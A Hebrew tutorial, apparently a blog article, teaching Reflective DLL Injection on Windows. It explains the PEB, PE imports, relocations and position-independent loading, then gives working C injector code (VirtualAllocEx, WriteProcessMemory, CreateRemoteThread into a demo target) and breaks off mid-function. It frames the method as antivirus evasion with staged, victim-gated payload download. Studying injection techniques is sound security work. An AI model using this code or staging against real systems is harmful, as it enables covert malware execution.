המדריך למזריק המתחיל - Refelctive DLL Injection - מאמר חמישי ואחרון בסדרת הזרקות ו-Hooking!
הקדמה
Reflective DLL Injection היא אחת הטכניקות שהכי נהניתי
ובו זמנית סבלתי ללמוד. הסיבה לכך טמונה באופי הטכניקה שמערב המון נדבכים
שלמדתי בנפרד בעבר כגון: מבנה של PE, שיטות הזרקה, פעולת ה-Loader של Windows, מעט מ-Internals של תהליכים בכלל ובפרט הכרה
של המבנה PEB. זה צדו הראשון של המטבע שהפך
את התהליך לכל כך מהנה. מצדו האחר של המטבע, קשה מאוד, ביחס לפרויקטים אחרים
שעבדתי עליהם עד היום, לדבג את הפרויקט. למעשה כשלא הייתה ברירה, הייתי צריך
לדבג את קוד ה-Assembly של התכנית במקום את ה-Source Code כמו שהייתי עושה בכל סיטואציה
אחרת. ללא ספק חוויה מעורבת. במאמר זה ארצה לשתף אתכם בתהליך שלי בלמידת
הטכניקה ואף לנסות ולהעביר לכם את הידע שצברתי. אתחיל בידע תאורתי ואז אעבור
לבניית הקוד עצמו. ידע ב-C ובכל אחד מהנושאים שציינתי
לעיל, יהפוך את קריאת המאמר ליעילה יותר. מצד שני אני כן אנסה לדבר על מרבית
הנקודות בלי להשאיר אף אחד מאחור אך כן אציין שזה אינו מאמר לקוראים חסרי ידע
ב-C או ב-Windows Internals. אם אתם מרגישים שאתם שם,
המלצתי היא להתחיל מהמאמרים הקודמים שלי בסדרה, בהם אני מסביר את כל הקונספטים שצריך לדעת כדי להבין את המאמר הזה מלבד
לימוד שפת C.
Reflective DLL Injection – תאוריה
על טכניקות DLL Injection שונות כבר כתבתי במהלך כל
סדרת המאמרים שהובילה אותי למאמר הנוכחי והאחרון בסדרה. לכן לא אתעכב על להסביר
מה זה DLL Injection. הוספת אלמנט ה-Reflective הופכת את התהליך למורכב יותר
ועל כן אקדיש לכך הסבר מקיף. עד היום, השתמשנו בטכניקות כגון יצירת Thread חדש עם CreateRemoteThread ואז קריאה ל-LoadLibrary לדוגמה כדי לטעון את ה-DLL שאנו רוצים להזריק. יכולנו גם
לייצר את הרצת LoadLibrary באמצעות שינוי ישיר של
המחסנית ושל האוגרים כמו בשיטה של SetThreadContext. בכל מקרה, בכל שיטה היינו
צריכים להשתמש ב-LoadLibrary וכאן מתחילה הבעיה. יותר נכון
הבעיות. הבעיה הראשונה של זיהוי פשוט יותר של מוצרי הגנה כגון Anti-Virus-ים שונים קלה להבחנה. הבעיה
השנייה מסתתרת מאחורי צורך ש-LoadLibrary לא יכולה למלא והוא טעינה של DLL מהזיכרון ולא מהדיסק. אם
תסתכלו על LoadLibrary תוכלו לראות שהיא מקבלת נתיב
לקובץ DLL שאמור להיות נוכח על הדיסק מה
שיוצר צורך לשמור את ה-DLL שלנו על הדיסק של הקורבן.
עובדה זו גדושה בבעיות. החל מחשיפה לסריקות של ה-AV-ים על הדיסק, וכלה בהשראת
שריטות שמאוחר יותר יעזרו לחוקרים לתפור את התקיפה שלנו ולחסן את המערכת. לכן
עולה צורך לייצר תחליף כלשהו ל-LoadLibrary. תחליף שיאפשר לנו לטעון את
ה-DLL שלנו מהזיכרון. הדבר יכול
להשתלב בתקיפה כך שה-DLL יהיה נוכח בצורה מוצפנת
ב-Resources של Loader כלשהו שיהווה Stage 1 בתקיפה. ה-Loader
יטען מה-Resources את ה-DLL המוצפן, יפרש אותו בזיכרון
ומכאן תתקבל צורת ה-Raw Data של ה-DLL, כלומר צורתו המקורית כשהוא
נמצא על הדיסק ועוד לא נטען לזיכרון. ברגע זה ה-Raw Data של ה-DLL נמצא בזיכרון של ה-Loader. זה עדיין לא מספיק כדי להריץ
אותו שהרי יש לבצע מספר שלבים כדי להפוך את ה-DLL לצורתו הנדרשת בזיכרון. נדבר
בהמשך על הפעולות הללו. את הפעולות נבצע ב-Loader
שנבנה וכך בעצם נייצר גרסה משלנו ל-LoadLibrary. זו האופציה הראשונה שהיא
טובה ואת הצורך הבסיסי מספקת. אך ניתן להוסיף לכך רובד נוסף של התחכמות והוא
לבצע את הטעינה בתוך ה-DLL שלנו. הווי אומר, ה-DLL שלנו יטען את עצמו. חלקכם
אולי הפכתם מבולבלים שהרי כיצד נריץ את ה-DLL שלנו שיריץ בעצמו את פונקציית
הטעינה שלו אם הוא עדיין לא טעון. התשובה לך היא טכניקת כתיבת קוד בשם Position Independent Code או בקיצור PIC. אסביר עליה בהמשך. בהנחה
שנצליח לכתוב קוד שהוא PIC, והקוד הזה יכיל לוגיקה שתדע
לטעון DLL-ים נוכל להריץ את הקוד המדובר
מבלי לטעון את ה-DLL בצורתו הנדרשת בזיכרון ולאחר
ריצת הקוד, ה-DLL אכן יהפוך לצורה בו הוא נדרש
להיות בזיכרון. סביר להניח שהטכניקה עדיין לא ברורה לחלקכם אך הישארו רגועים כי
כעת אפרט על כל צעד.
השיטה טומנת בתוכה יתרונות נוספים. למשל, אחד היתרונות של השיטה היא במקרה
שנניח שנרצה להסתיר את ה-DLL שלנו עד אשר ה-Loader שלנו (ה-Stage הראשון שמערך התקיפה שלנו)
מזהה שהמטרה שהוא הגיע אליה וואלידית. רק, ואך ורק אז יפענח את ה-DLL ויבקש ממנו לטעון את עצמו.
אפרופו, ה-DLL יכול להתקבל גם דרך הרשת כך
שרק כאשר ה-Loader החליט שהקורבן עונה על
הדרישות (לדוגמה מחשב Windows 7 בארכיטקטורה ספציפית ללא
עדכון של Patch כלשהו) הוא יקרא להורדת
ה-DLL דרך הרשת וכך הלוגיקה של הכלי
שלנו תהיה פחות חשופה.
נתחיל מהפעולות שצריך לבצע בדרך להפיכת DLL מצורתו כ-Raw Data לצורתו כ-Loaded Module. ראשית, כמו שאתם יודעים ואם
לא גגלו PE Format, יש לכל קובץ הרצה את האופציה
לייבא DLL-ים אחרים כדי שיוכל להשתמש
בפונקציונליות שלהם. לפני שהקובץ יכול לרוץ, ה-Loader של המערכת יוודא שה-DLL-ים הללו טעונים לזיכרון, ואלו
שלא – ה-Loader ייטען אותם. לאחר מכן הוא
יבצע Resolving ל-Import Table של הקובץ הרצה כך שכאשר ישנה
קריאה לפונקציה מסוימת, נניח MessageBoxA, הקריאה תופנה ל-DLL שמכיל את הפונקציה הזו בכתובת
שהפונקציה הזו נמצאת. המבנים העיקריים שמרכיבים את ה-Import Table הינם Import Address Table ו-Import Name Table. כאשר הקובץ הרצה על הדיסק, Import Address Table מצביע לאותם ערכים אליהם
מצביע Import Name Table (אלא אם כן מדובר על Bound Imports ואז זה מעט שונה). ה-Loader בעצם משנה את ה-Import Address Table כך שיכיל הצבעות לכתובות של
הפונקציות המקבילות לכל שם של פונקציה ב-Import Name Table. המבנים האלה הם סוג של
מערכים. כך אם באינדקס 5 יש ב-Import Name Table את הפונקציה MessageBoxA הכתובת שלה תהיה באינדקס 5
ב-Import Address Table לאחר תהליך ה-Resolving. זה הדבר הראשון שאנו צריכים
לבצע הקוד שלנו. את התהליך הנ"ל נעשה תוך שימוש ב-GetProcAddress וב-LoadLibrary. אך אמרנו שהקוד שלנו צריך
להיות PIC מה שהופך את התהליך למעט יותר
מאתגר ומוסיף לנו שלב בו נצטרך למצוא בעצמנו את הכתובת של LoadLibrary ושל GetProcAddress. מה שמוביל אותי לפרסור
ה-PEB. בנוסף, מודולים (ספריות
כלשהן) שאינן טעונות לזיכרון מבעוד מועד – נטען.
ה-PEB הוא מבנה שיש לכל תהליך ומכיל
מידע שכל מיני רכיבים במערכת קוראים כדי לדעת לעבוד מול התהליך. לדוגמה, כאשר
אתם פותחים Debugger כלשהו ואתם רואים את כל
ה-Module-ים הטעונים, סביר להניח שזה
נעשה באמצעות קריאת ה-PEB שמכיל את הידע הזה. ה-PEB יושב ב-User-Space והוא ייחודי לכל תהליך. המידע
הזה רלוונטי לנו כי אם נוכל להגיע ל-PEB ולקרוא אותו, נוכל להגיע
לכתובת של המודול Kernel32.dll שמכיל את הפונקציות GetProcAddress ו-LoadLibrary. תנו לי לעשות לכם ספוילר,
נצטרך גם את הפונקציות VirtualAlloc ו-NtFlashInstructionCache ולכן גם את הכתובת שלהן נשיג
על הדרך. כלומר, עלינו הגיע למידע שמכיל ה-PEB, למצוא בעקבותיו את הכתובת של Kernel32.dll ו-Ntdll.dll (מכיל את NtFlashInstructionCache). לאחר שמצאנו את הכתובות של
המודולים הללו, נצטרך לפרסר את המודולים ולמצוא ב-Export Table את הכתובות של ארבעת
הפונקציות הספציפיות שאנו צריכים.
נסכם את כל מה שהבנו עד כה. אנחנו רוצים לכתוב DLL שיודע לטעון את עצמו.
ה-DLL יכיל פונקציית טעינה ידנית
שתהיה כתובה בקוד שהוא PIC. הקוד הזה יתחיל מלמצוא את
ה-PEB של התהליך בו הוא חי, משם
ימצא את הכתובות של Kernel32.dll ושל Ntdll.dll. לאחר מכן ימצא את הכתובות של
ארבעת הפונקציות שנו צריכים להשתמש בהן בהמשך הפונקציה. ברגע זה נעבור לפתירת
ה-Import Address Table של עצמנו (כלומר של ה-DLL עצמו). זה החלק הראשון. דרך
אגב – אפשר להיות בטוחים ש-Kernel32.dll ו-Ntdll.dll כבר טעונים לזיכרון שאנו
מזריקים אליו כיוון שהם DLL-ים שכל תהליך ב-Windows משתמש בהם. עכשיו נעבור שלב
הבא.
השלב השני (או השלישי תלוי איך אתם בוחרים להסתכל על זה) הוא Relocations Resolving. לכל קובץ הרצה יש את האפשרות
לבקש להיטען למקום ספציפי בזיכרון. אם המקום הזה פנוי, ו-ASLR (פיצ'ר הגנתי שמערבל כתובות
בזיכרון כדי להקשות על כתיבת Exploits) לא מאופשר, הקובץ יטען
למיקום זה. במצב הזה אין צורך לבצע שום התאמות למיקומים הכתובים בקובץ כי הם
מותאמים מראש לטעינה במיקום אליו נטען הקובץ בפועל. אגב, המיקום הזה נקרא Preferred Address כלומר כתובת מועדפת. מנגד,
ישנה האפשרות שהכתובת המועדפת תפוסה או ש-ASLR פועל, ועל ה-Loader לטעון את הקובץ למיקום אחר.
כעת ישנו הצורך לבצע התאמות לכתובות הכתובות בקובץ. ההתאמות יהיו התחשבות
ב-Delta שנוצרה בין המיקום בפועל אליו
נטען הקובץ לבין המיקום המועדף של הקובץ. עולה שאלה – כיצד ה-Loader ידע איפה יש כתובות שצריך
להתאים בקובץ? התשובה מונחת בטבלת ה-Relocations שנמצאת ב-Section שנקרא .reloc . ה-Loader סורק את הטבלה ולומד היכן יש
כתובות לעריכה ועורך לפי ה-Delta. את אותה פעולה ה-DLL שלנו יאלץ לבצע על עצמו.
השלב השלישי הוא קריאה לפונקציית ה-Main של ה-DLL וכך להתחיל את ההרצה המקורית
של ה-DLL שלנו. זה אומר שה-DLL שלנו יצטרך למצוא את ה-Entry Point של עצמו ולהריץ אותה.
נסכם את שני השלבים האחרונים: ראשית נפתור את ה-Relocations במידה ויש צורך בכך באמצעות
פרסור ה-Relocation Table וחישוב ה-Delta ולבסוף ביצוע ההתאמות
הנדרשות. לאחר מכן נמצא את ה-Entry Point של עצמנו ונקרא לה.
אלו השלבים הכלליים אך שמסתכלים על הפרקטיקה יש להתחשב בעוד כל מיני נקודות
כדי להפוך את כל הרעיון לישים. ראשית ה-Loader שלנו (זה שמכיל ב-Resources או מקבל את ה-DLL כ-Raw Data
או בכל דרך אחרת שנבחר בתקיפה) חייב להיות בעל הראשות על התהליך הקורבן.
אחרי שזה נבדק, הוא צריך לבקש לאכלס מקום בזיכרון של הקורבן כגודל ה-Raw Data של ה-DLL. לאחר מכן הוא צריך לחפש את
הפונקציה הטוענת לפי שם קבוע שנבחר עבורה. מכאן הוא ייצור Thread חדש בקורבן שיריץ את הכתובת
של הפונקציה הזו ב-DLL. נקודה שניה שצריך לבצע
בלוגיקה של הפונקציה הטוענת היא אכלוס מקום נוסף בזיכרון של התהליך אשר מיועד
להכיל את ה-DLL בצורתו הטעונה. אחרי שזה
יבוצע, נעתיק את כל ה-Headers של ה-DLL בתוך הפונקציה. לאחר מכן
נעבור על כל Section Header ב-Section Header Table ונעתיק כל Section למיקום הווירטואלי שמצוין
ב-Section Header התואם לה. אחרי שהפעולות הללו
יהיו מאחורינו נוכל לחזור לרצף שלנו.
יכול להיות שעדיין יש לכם חוסר סדר בראש ולכן אני אשתמש בתרשים כדי להמשיך את
כל התהליך:
נסכם כל מה שאנחנו צריכים לעשות:
1.
לייצר קובץ הרצה בשם reflective_loader.exe שיטען את ה-DLL לזיכרון מכל מקור שנבחר העיקר
שבזיכרון הוא יהיה בצורת ה-Raw Data שלו כדי לסמלץ מצב אמתי.
הקובץ הזה הוא ה-Loader כאמור.
2.
לייצר קובץ הרצה קורבן בשם target.exe שיעשה משהו בלולאה אין סופית
אותו נתקוף. למשל ידפיס את ה-PID שלו.
3.
לייצר DLL בשם reflective_dll.dll שיכיל פונקציית PIC שתבצע טעינה עצמית. זה
ה-Reflective DLL והוא מכיל את רוב מימוש
הטכניקה.
בכל שלב נפעל לפי השלבים המתוארים בתרשים. נבנה שלושה פרויקטים, אחד עבור כל
משימה ונבנה את הקוד שלהם ביחד. אני מדגיש שיהיו חלקים שלא אסביר בפרוטרוט מאחר
והתעסקתי בהם במאמרים קודמים. למשל מציאת ה-PID של התהליך הקורבן על פי שמו
ועוד. בנוסף, לא אתעכב על סינטקס של קוד ב-C, כמו שאמרתי בהקדמה – אני
לוקח בחשבון שאתם יודעים C. אמנם, גם מי שלא יודע C, יסתדר בהבנה של הטכניקה שהרי
אני מסביר במילים את הלוגיקה מאחורי הקוד גם אם לא את הסינטקס המדויק.
נתחיל.
בניית ה-reflective_loader.exe
צורת ההסבר שלי תעבוד כך שאתחיל מפונקציית ה-main וכאשר אגיע לשורה בה יש צורך
לדבר על קוד צדדי כמו macro כלשהו או פונקציה לא אעצור
אלא אמשיך את ההסבר ולאחר מכן אסביר את הפונקציה בנפרד ביחד עם הקוד שלה. מקווה
שאוכל לבצע את המשימה כראוי ואכן הבנת הקוד תועבר בצורה ברורה ככל הניתן.
main
להלן הקוד לפונקציה main:
int main(int argc, char ** argv) | |
{ | |
HANDLE hFile = NULL; | |
HANDLE hTargetProcess = NULL; | |
HANDLE hModule = NULL; | |
DWORD dwLength = NULL; | |
DWORD dwBytesRead = 0; | |
DWORD dwTargetProcessID = NULL; | |
LPVOID lpBuffer = NULL; | |
char * cpDllFile = "D:\\C\\DllReflectiveDllInjectionV2\\reflective_dll\\Debug\\reflective_dll.dll"; | |
if (argc < 2) | |
{ | |
ERROR("Wrong usage. Try: Injector.exe <name of target process>"); | |
return 0; | |
} | |
dwTargetProcessID = GetProcIdByName(argv[INDEX_TARGET_PROCESS_NAME]); | |
if (!dwTargetProcessID) { | |
ERROR("Could not find target process, maybe it is not running"); | |
return 0; | |
} | |
hFile = CreateFileA(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hFile == INVALID_HANDLE_VALUE) | |
ERROR_WITH_CODE("Failed to open the DLL file"); | |
dwLength = GetFileSize(hFile, NULL); | |
if (dwLength == INVALID_FILE_SIZE || dwLength == 0) | |
ERROR_WITH_CODE("Failed to get the DLL file size"); | |
lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); | |
if (!lpBuffer) | |
ERROR_WITH_CODE("Failed to alloc a buffer!"); | |
if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) | |
ERROR_WITH_CODE("Failed to read dll raw data"); | |
hTargetProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwTargetProcessID); | |
if (!hTargetProcess) | |
ERROR_WITH_CODE("Failed to open the target process"); | |
hModule = LoadRemoteLibraryR(hTargetProcess, lpBuffer, dwLength, NULL); | |
if (!hModule) | |
ERROR_WITH_CODE("Failed to inject the DLL"); | |
printf("[+] Injected the '%s' DLL into process %d.", cpDllFile, dwTargetProcessID); | |
WaitForSingleObject(hModule, -1); | |
return 1; | |
} |
להלן ההסבר לפונקציה main על פי שורות:
שורות 1-2: הגדרה הפונקציה.
שורות 3-9: הגדרת משתנים שנצטרך בהמשך.
שורה 11: הגדרת המחרוזת אשר מכילה את הנתיב ל-Reflective DLL שלנו.
שורות 13-17: בדיקת פרמטרים – נוודא שקיבלנו פרמטר שיכיל (כך אנו מניחים) את
השם של התהליך אותו נתקוף.
שורות 19-24: קבלת ה-PID של התהליך לפי שמו ובדיקה
שאכן התקבל אחד כזה. לא אפרט על הפונקציה הזו מאחר שכבר עשיתי זאת באחד המאמרים
הקודמים. אולם כן אצרף את הקוד בהמשך כדי לא להחסיר מתמונה השלמה.
שורות 26-28: נקבל Handle לקובץ DLL כדי לקרוא את ה-Raw Data שלו בהמשך לזיכרון. נבצע
בדיקה שאכן ה-Handle שקיבלנו תקין.
שורות 30-32: נקבל את הגודל של הקובץ כדי שנדע כמה מקום להקצות בזיכרון
ל-Raw Data של ה-DLL.
שורות 34-36: הקצאת המקום בערימה (בזיכרון למעשה) ובדיקה שאכן הוקצה מקום באופן
תקין.
שורות 38-39: קריאת ה-Raw Data של הקובץ למיקום שהקצנו קודם
לכן בזיכרון. שימו לב שעד כה מדובר על הזיכרון שלנו. עד עכשיו כל מה שעשינו היה
סימלוץ של קבלת ה-Raw Data ממקור כלשהו (נניח Resources או דרך הרשת) ואחסונו בזיכרון
שלנו. כדי לטעון את ה-DLL איננו יכולים להשתמש ב-LoadLibrary כמו שהסברתי קודם לכן, ועל כן
נממש את הטכניקה של Reflective DLL Injection.
שורות 41-43: נפתח Handle לתהליך הקורבן עם כל ההרשאות
הנדרשות על מנת לכתוב את ה-Raw Data וליצור Thread שיריץ את פונקציית הטעינה
הרפלקטיבית של ה-DLL. נבדוק שאכן קיבלנו Handle תקין.
שורה 45: נקרא לפונקציה LoadRemoteLibrary שתתחיל את שרשרת הפעולות של
ה-Loader שלנו לבצע. כבר נסביר
אותה.
שורות 50-54: נסיים את הפונקציה main לאחר קבלת האישור שהפונקציה
הצליחה.
LoadRemoteLibrary
להלן הקוד לפונקציה LoadRemoteLibrary:
HANDLE WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter) | |
{ | |
BOOL bSuccess = FALSE; | |
LPVOID lpRemoteLibraryBuffer = NULL; | |
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; | |
HANDLE hThread = NULL; | |
DWORD dwReflectiveLoaderOffset = 0; | |
DWORD dwThreadId = 0; | |
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); | |
if (!dwReflectiveLoaderOffset) | |
return hThread; | |
lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
if (!lpRemoteLibraryBuffer) | |
return hThread; | |
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)) | |
return hThread; | |
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); | |
hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId); | |
return hThread; | |
} |
להלן ההסבר לפונקציה LoadRemoteLibrary:
שורות 1-8: הגדרת הפונקציה והמשתנים בהם נשתמש. למעשה הפונקציה מקבלת Handle לתהליך הקורבן, את המצביע
ל-Raw Data של ה-DLL, את האורך של ה-Raw Data של ה-DLL, ומצביע לפרמטר שאותו היא
תעביר ל-CreateRemoteThread במידת הצורך. אצלנו אין צורך
לכן יהיה שם Null.
שורות 10-12: מציאת ה-Offset (כלומר המרווח מנקודה מסוימת,
במקרה שלנו מתחילת ה-Raw Data) לפונקציית הטעינה ב-DLL. לאחר מכן בדיקה שאכן נמצא
ה-Offset. הפונקציה שתעשה זאת היא GetReflectiveLoaderOffset אותה אסביר בהמשך.
שורות 14-19: אכלוס מקום בתהליך הקורבן לפי הגודל של ה-Raw Data של ה-DLL באמצעות הפונקציה VirtualAllocEx ובדיקה שהפעולה צלחה לפי
בדיקת הערך חזרה שאמור להיות הכתובת אשר מתחילתה אוכלס המיקום בזיכרון. לאחר
מכן כתיבת ה-Raw Data לאותו מיקום באמצעות הפונקציה WriteProcessMemory ובדיקה שאכן גם פעולה זו
צלחה.
שורה 21: חישוב הכתובת בזיכרון המרוחק בה תמצא פונקציית הטעינה הרפלקטיבית של
ה-DLL שלנו. החישוב הוא המיקום בו
אוכלס הזיכרון עם VirualAllocEx קודם לכן, פלוס ה-Offset מתחילת ה-Raw Data עד פונקציית הטעינה אותו
קיבלנו באמצעות GetReflectiveLoaderOffset קודם לכן.
שורה 23: יצירת Thread חדש שיריץ את הקוד שחישבנו
בשורה 21 בתהליך הקורבן.
שורות 25-26: החזרה ה-Handle ל-Thread כדי שנוכל לבחון את הצלחת
הפונקציה וסיום.
GetReflectiveLoaderOffset
להלן הקוד לפונקציה GetReflectiveLoaderOffset:
DWORD GetReflectiveLoaderOffset(VOID * lpReflectiveDllBuffer) | |
{ | |
UINT_PTR uiBaseAddress = 0; | |
UINT_PTR uiExportDir = 0; | |
UINT_PTR uiNameArray = 0; | |
UINT_PTR uiAddressArray = 0; | |
UINT_PTR uiNameOrdinals = 0; | |
DWORD dwCounter = 0; | |
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; | |
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; | |
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; | |
uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress); | |
uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress); | |
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); | |
uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress); | |
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames; | |
while (dwCounter--) | |
{ | |
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress)); | |
if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL) | |
{ | |
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); | |
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); | |
return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress); | |
} | |
uiNameArray += sizeof(DWORD); | |
uiNameOrdinals += sizeof(WORD); | |
} | |
return 0; | |
} |
להלן ההסבר לפונקציה GetReflectiveLoaderOffset:
כאמור, מטרת הפונקציה הזו היא להשיג את ה-Offset מתחילת הקובץ לפונקציית
הטעינה ב-DLL. כדי לעשות זאת עלינו לעבור
על כל ה-Export Table עד שנמצא את הפונקציה שאותה
נזהה על פי שמה אותו נקבע מראש. אם לא יהיה תיאום בין השם שאנו מחפשים לשם
שמתכנת ה-DLL הגדיר, לא נוכל למצוא את
הפונקציה. כדי להגיע ל-Export Table נעבור את הדרך החל
מהשדה-e_lfnew שנמצא ב-Dos Header אשר יוביל אותנו ל-NT Header שם נמצא ה-Optional Header. הוא מכיל מספר שדות כאשר אחד
מהם הוא מערך של מבנים מסוג Data Directory כאשר זה שאנו צריכים נמצא
באינדקס המיוצג על ידי הקבוע IMAGE_DIRECTORY_ENTRY_EXPORT. אולם זה רק RVA. כלומר Relative Virtual Address ולכן נצטרך להמיר את זה
ל-Offset וזאת נעשה באמצעות הפונקציה Rva2Offset אותה אסביר בהמשך. נקבל את
הכתובת המלאה של ה-Export Directory. ה-Export Directory מכיל מספר שדות שמתוכם שלושה
מעניינים אותנו והם הכתובת למערך השמות של הפונקציות המיוצאות, הכתובת למערך
הכתובות של הפונקציות המיוצאות והכתובת למערך המספרים הסידוריים של הפונקציות
המיוצאות. כל המערכים הללו מסונכרנים אחד עם השני כך שנוכל לעבוד מול שלושתם
כדי למצוא את הכתובת של הפונקציה שאנו צריכים.
שורות 1-8: הגדרת הפונקציה והגדרת משתנים שנצטרך בהמשך. הפונקציה מקבלת את
הכתובת אליה נטען ה-Raw Data של ה-DLL.
שורות 10-17: כל התהליך לקבלת המצביעים לכל אחד מהמערכים מהפסקה הקודמת נמצא
בשורות האלה. בשורה 17 גם נחלץ את מספר הפונקציות שה-DLL מייצא כדי לדעת כמה להגביל את
עצמנו בלולאה שתסרוק את המערכים.
שורות 19-35: הלולאה הסורקת. התנאי לעצירה הוא אם לא נשארו פונקציות לסרוק. כל
עוד התנאי הזה לא מתקיים נמשיך לסרוק. כדי לקבל את הכתובת של השם של הפונקציה
הנסרקת נצטרך לחשב את ה-Offset של המצביע למערך השמות (כרגע
הוא מצביע לאיבר הראשון מטבע צורת העבודה עם מערכים) מתוך ה-RVA שלו שזה מה שיש לנו בינתיים.
כמו שהבנתם נשתמש בפונקציה Rva2Offset שכבר הספקתם להכיר. ל-Offset הזה נוסיף את כתובת תחילת
ה-Raw Data וכך נקבל כתובת מלאה. נשווה
את השם לשם שאנו מצפים לו. במידה והתנאי מתקיים מצאנו את הפונקציה ונחשב את
הכתובת המלאה שבה יושב הקוד של הפונקציה הזו. החישוב הוא ה-Offset לתחילת מערך כתובות הפונקציות
פלוס הכתובת לתחילת ה-Raw Data פלוס המספר האורדינלי של
הפונקציה שמצאנו כפול גודל של DWORD. החלק האחרון בו אנו מכפילים
את גודל ה-DWORD במספר האורדינלי הוא כדי
לעבור מתחילת המערך של הכתובות עד לאלמנט שבו נמצאת הכתובת לפונקציה. לבסוף
נחזיר את ה-Offset של הפונקציה (ולא את הכתובת
המוחלטת). במידה והתנאי לא מתקיים נקדם את המצביעים למערך השמות ולמערך המספרים
הסידוריים כדי לעבור לפונקציה הבאה. במידה והפונקציה לא נמצא וכלו הפונקציות
אותן מייצא ה-DLL נחזיר אפס ונסיים את
הפונקציה.
ראינו פה גם את השימוש ב-Macro שנקרא DEREF ודומיו. המקרו הזה יוצג
בהמשך.
Rva2Offset
להלן הקוד לפונקציה Rva2Offset:
DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress) | |
{ | |
WORD wIndex = 0; | |
PIMAGE_SECTION_HEADER pSectionHeader = NULL; | |
PIMAGE_NT_HEADERS pNtHeaders = NULL; | |
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); | |
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); | |
if (dwRva < pSectionHeader[0].PointerToRawData) | |
return dwRva; | |
for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++) | |
{ | |
if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData)) | |
return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData); | |
} | |
return 0; | |
} |
להלן ההסבר לפונקציה Rva2Offset:
מטרת הפונקציה היא לקבל RVA ולהוציא Offset. היא עושה זאת באמצעות חישוב
אחד שנצטרך להבין ותו לא.
שורות 1-5: הגדרת הפונקציה ומשתנים בהם נשתמש. הפונקציה מקבלת RVA וכתובת בסיס של מודול ממנו
צריך למצוא את ה-Offset.
שורות 7-8: מציאת ה-NT Header ולאחר מכן מציאת ה-Section Header הראשון באמצעות סכום הכתובת
ל-Optional Header והגודל של ה-Optional Header שהרי מיד לאחר מכן נמצאים כל
ה-Section Header-ים.
שורות 10-11: בדיקה שה-RVA לא קטן מהכתובת אליה מצביע
ה-Section Header הראשון. אם הוא קטן מהכתובת
הזו סימן שהכתובת הזו לא נמצאת באף Section ולכן היא לא חוקית.
שורות 13-17: נבנה לולאה שתרוץ על כל ה-Section Header-ים כאשר בתוכה היא תכיל תנאי
אחד שיבדוק אם ה-RVA גדול או שווה לתחילת ה-RVA של ה-Section וגם קטן מסוף ה-Section (שסוף ה-Section הוא למעשה ה-RVA לתחילת ה-Section פלוס הגודל של ה-Section). אם התנאי נכון נחזיר את
הסכום ההפרש של ה-RVA עם ה-RVA של ה-Section (מה שיפיק לנון את המרווח
מה-RVA
לתחילת ה-Section) עם המצביע לתחילת ה-Raw Data של ה-Section. כך ה-Raw Data של ה-Section ועוד ה-Offset מתחילת ה-Section למיקום הפונקציה הוא ה-Offset הכללי של ה-RVA.
שורות 19-20: נחזיר אפס אם לא מצאנו את ה-Offset מאיזושהי סיבה (נניח
וה-RVA שגוי והוא לא נמצא בשום Section אבל גם גדול מה-RVA של ה-Section הראשון. זה יסמל לנו
שגיאה.
GetProcIdByName
להלן הקוד (שלא אסביר) של הפונקציה GetProcIdByName:
DWORD GetProcIdByName(LPCSTR name) { | |
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD | TH32CS_SNAPPROCESS, NULL); | |
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; | |
if (hSnapshot == INVALID_HANDLE_VALUE) | |
{ | |
CloseHandle(hSnapshot); | |
ERROR_WITH_CODE("Could not create snapshot"); | |
